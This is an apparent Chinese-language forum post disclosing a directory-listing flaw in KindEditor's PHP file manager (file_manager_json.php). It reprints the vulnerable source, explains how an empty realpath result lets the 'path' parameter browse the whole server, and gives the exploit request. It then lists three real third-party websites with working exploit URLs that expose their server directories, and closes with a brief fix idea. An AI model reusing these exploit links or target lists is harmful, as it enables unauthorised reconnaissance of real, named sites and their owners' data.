因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。 下载地址: 貌似是最新版本的。 测试语言:PHP 测试漏洞文件:/kindeditor/php/file_manager_json.php 默认配置(第16行): $root_path = $php_path . \’../attached/\’; 当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子: $root_path = $php_path . \’../../../upload/\’; 这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。 怎么造成了漏洞的呢?我们分析下。PHP Code复制内容到剪贴板 <?php /** *KindEditorPHP * *本PHP程序是演示程序,建议不要直接在实际项目中使用。 *如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。 * */ require_once\’JSON.php\’; $php_path=dirname(__FILE__).\’/\’; $php_url=dirname($_SERVER[\’PHP_SELF\’]).\’/\’; //根目录路径,可以指定绝对路径,比如/var/www/attached/ $root_path=$php_path.\’../../../upload/\’; //根目录URL,可以指定绝对路径,比如http://www.yoursite.com/attached/ $root_url=$php_url.\’../../../upload/\’; //图片扩展名 $ext_arr=array(\’gif\’,\’jpg\’,\’jpeg\’,\’png\’,\’bmp\’); //目录名 $dir_name=emptyempty($_GET[\’dir\’])?\’\’:trim($_GET[\’dir\’]); if(!in_array($dir_name,array(\’\’,\’image\’,\’flash\’,\’media\’,\’file\’))){ echo"InvalidDirectoryname."; exit; } if($dir_name!==\’\’){ $root_path.=$dir_name."/"; $root_url.=$dir_name."/"; if(!file_exists($root_path)){ mkdir($root_path); } } //根据path参数,设置各路径和URL if(emptyempty($_GET[\’path\’])){ $current_path=realpath($root_path).\’/\’; $current_url=$root_url; $current_dir_path=\’\’; $moveup_dir_path=\’\’; }else{ $current_path=realpath($root_path).\’/\’.$_GET[\’path\’]; $current_url=$root_url.$_GET[\’path\’]; $current_dir_path=$_GET[\’path\’]; $moveup_dir_path=preg_replace(\’/(.*?)[^\\/]+\\/$/\’,\’$1\’,$current_dir_path); } //echorealpath($root_path); //排序形式,nameorsizeortype $order=emptyempty($_GET[\’order\’])?\’name\’:strtolower($_GET[\’order\’]); //不允许使用..移动到上一级目录 if(preg_match(\’/\\.\\./\’,$current_path)){ echo\’Accessisnotallowed.\’; exit; } //最后一个字符不是/ if(!preg_match(\’/\\/$/\’,$current_path)){ echo\’Parameterisnotvalid.\’; exit; } //目录不存在或不是目录 if(!file_exists($current_path)||!is_dir($current_path)){ echo\’Directorydoesnotexist.\’; exit; } //遍历目录取得文件信息 $file_list=array(); if($handle=opendir($current_path)){ $i=0; while(false!==($filename=readdir($handle))){ if($filename{0}==\’.\’)continue; $file=$current_path.$filename; if(is_dir($file)){ $file_list[$i][\’is_dir\’]=true;//是否文件夹 $file_list[$i][\’has_file\’]=(count(scandir($file))>2);//文件夹是否包含文件 $file_list[$i][\’filesize\’]=0;//文件大小 $file_list[$i][\’is_photo\’]=false;//是否图片 $file_list[$i][\’filetype\’]=\’\’;//文件类别,用扩展名判断 }else{ $file_list[$i][\’is_dir\’]=false; $file_list[$i][\’has_file\’]=false; $file_list[$i][\’filesize\’]=filesize($file); $file_list[$i][\’dir_path\’]=\’\’; $file_ext=strtolower(pathinfo($file,PATHINFO_EXTENSION)); $file_list[$i][\’is_photo\’]=in_array($file_ext,$ext_arr); $file_list[$i][\’filetype\’]=$file_ext; } $file_list[$i][\’filename\’]=$filename;//文件名,包含扩展名 $file_list[$i][\’datetime\’]=date(\’Y-m-dH:i:s\’,filemtime($file));//文件最后修改时间 $i++; } closedir($handle); } //排序 functioncmp_func($a,$b){ global$order; if($a[\’is_dir\’]&&!$b[\’is_dir\’]){ return-1; }elseif(!$a[\’is_dir\’]&&$b[\’is_dir\’]){ return1; }else{ if($order==\’size\’){ if($a[\’filesize\’]>$b[\’filesize\’]){ return1; }elseif($a[\’filesize\’]<$b[\’filesize\’]){ return-1; }else{ return0; } }elseif($order==\’type\’){ returnstrcmp($a[\’filetype\’],$b[\’filetype\’]); }else{ returnstrcmp($a[\’filename\’],$b[\’filename\’]); } } } usort($file_list,\’cmp_func\’); $result=array(); //相对于根目录的上一级目录 $result[\’moveup_dir_path\’]=$moveup_dir_path; //相对于根目录的当前目录 $result[\’current_dir_path\’]=$current_dir_path; //当前目录的URL $result[\’current_url\’]=$current_url; //文件数 $result[\’total_count\’]=count($file_list); //文件列表数组 $result[\’file_list\’]=$file_list; //输出JSON字符串 header(\’Content-type:application/json;charset=UTF-8\’); $json=newServices_JSON(); echo$json->encode($result);第三十八行: $current_path = realpath($root_path) . \’/\’; 当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的\’/\’ $current_path所以默认就等于\’/\’ 当提交了$_GET[\’path\’]以后,而且$_GET[\’path\’]要以\’/\’为结尾(有验证),所以,我们就可以构造浏览全盘目录了。 kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) 接着上面给出验证的(互联网找到几个): 先给本地的(attached文件夹被我删了):互联网找到的: http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=image
http://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/
http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/
修复方案:再验证下绝对路径?